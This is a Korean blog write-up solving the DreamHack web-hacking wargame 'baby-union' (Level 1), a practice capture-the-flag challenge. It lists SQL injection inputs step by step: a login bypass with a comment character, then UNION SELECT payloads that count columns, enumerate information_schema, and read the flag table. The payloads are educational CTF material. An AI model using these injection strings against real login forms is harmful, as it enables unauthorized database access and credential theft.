본문 바로가기
IT Security/DreamHack

드림핵 워게임 baby-union (Level 1) 문제 풀이 정리

by 바닐라이코노미 2024. 11. 12.
반응형

드림핵 사이트의 워게임 중 웹 해킹 관련

baby-union (Level 1) 문제에 대해서 정리해보려 합니다

 

<문제설명>

로그인 시 계정의 정보가 출력되는 웹 서비스입니다.
SQL INJECTION 취약점을 통해 플래그를 획득하세요. 문제에서 주어진 init.sql 파일의 테이블명과 칼럼명은 실제 이름과 다릅니다. 플래그 형식은 DH{...} 입니다.

 

<문제를 풀기 위한 시도 정리>

제공해준 서버에 접속하면 아래와 같은 화면이 나온다

 

이것저것 uid, upw에 삽입하며 시도해 본다

' or 1=1 --
admin' union select upw from users where uid='admin' -- aaaa
admin'-- test
admin'# test <-- 여기에서 일단 로그인이 가능해짐

 

uid : admin'#

upw : test

입력하면 아래와 같이 로그인이 된다

 

아래와 같이 로그인이 된 것을 확인할 수 있다

실제 칼럼 개수와 데이터 출력 부분이 어떤 칼럼인지를 확인할 수 있다면 DB조회가 가능할 것으로 판단

 

이제 그러면 union을 활용해 시도를 해보자

union을 쓰면 앞뒤 SELECT 되는 칼럼 개수가 일치해야 한다

현재 문제에서 주어진 SQL을 보면 SELECT * FROM users 가 몇 개의 컬럼을 가지고 있는지를 확인해야 한다

' union select 1, 2, 3# aa <-- 위에 정보가 3개여서 3개로 해봤는데 실패
' union select 1, 2, 3, 4# aa <-- 조회되는 DB는 4개임을 확인

 

uid : ' union select 1, database(), 3, 4#

upw : aa

 

 

uid : ' union select 1, database(), 3, version()#

upw : aa (칼럼 개수와 mariadb를 사용하고 있음을 확인)

' union select 1, uid, 3, upw# aa <-- 500 error
' union select 1, uid, 3, 4# aa <-- 500 error

 

 

uid : ' union select 1, table_name,3, 4 from information_schema.tables#

upw : aa

 


uid : ' union select column_name, 2, 3, 4 from information_schema.columns where table_name='onlyflag' #

upw : aa

uid : ' union select sname, svalue, 3, sflag from onlyflag #

upw : aa

 

이렇게 나온 것을 조합해서 넣으면 flag 오류가 뜸을 확인

다시 재조합을 할 필요가 있음

# 시도1
uid : ' union select svalue, sname, sflag, sclose from onlyflag # 
upw : aa

# 시도2
uid : ' union select svalue, sflag, 3, sclose from onlyflag # 
upw : aa

 

이렇게 시도2를 통해 순서대로 뽑히는 DH{} 값을 확인할 수 있다

 

문제 출처 및 참조

https://learn.dreamhack.io/

 

반응형